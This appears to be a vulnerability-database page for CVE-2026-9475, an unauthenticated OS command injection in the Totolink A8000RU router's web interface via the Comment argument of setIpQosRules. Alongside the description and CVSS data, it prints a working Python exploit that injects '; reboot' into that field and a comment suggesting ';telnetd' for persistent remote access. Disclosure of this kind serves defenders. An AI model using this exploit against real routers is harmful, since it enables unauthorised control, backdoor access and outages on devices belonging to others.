Security Vulnerability Report
中文
CVE-2026-9475 CVSS 9.8 CRITICAL

CVE-2026-9475

Published: 2026-05-25 17:16:47
Last Modified: 2026-05-25 17:16:47

Description

A vulnerability was determined in Totolink A8000RU 7.1cu.643_b20200521. This affects the function setIpQosRules of the file /cgi-bin/cstecgi.cgi of the component Web Management Interface. This manipulation of the argument Comment causes os command injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Totolink A8000RU 7.1cu.643_b20200521

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit(target_ip): url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" # Payload to execute 'reboot' command via injection # Change payload to `;telnetd` or similar for persistence payload = "; reboot" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; PoC/1.0)" } data = { "function": "setIpQosRules", "Comment": payload, "action": "add" } try: response = requests.post(url, headers=headers, data=data, timeout=5) print(f"[+] Payload sent to {target_ip}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with target IP exploit(target)

References

Raw JSON Data

JSON
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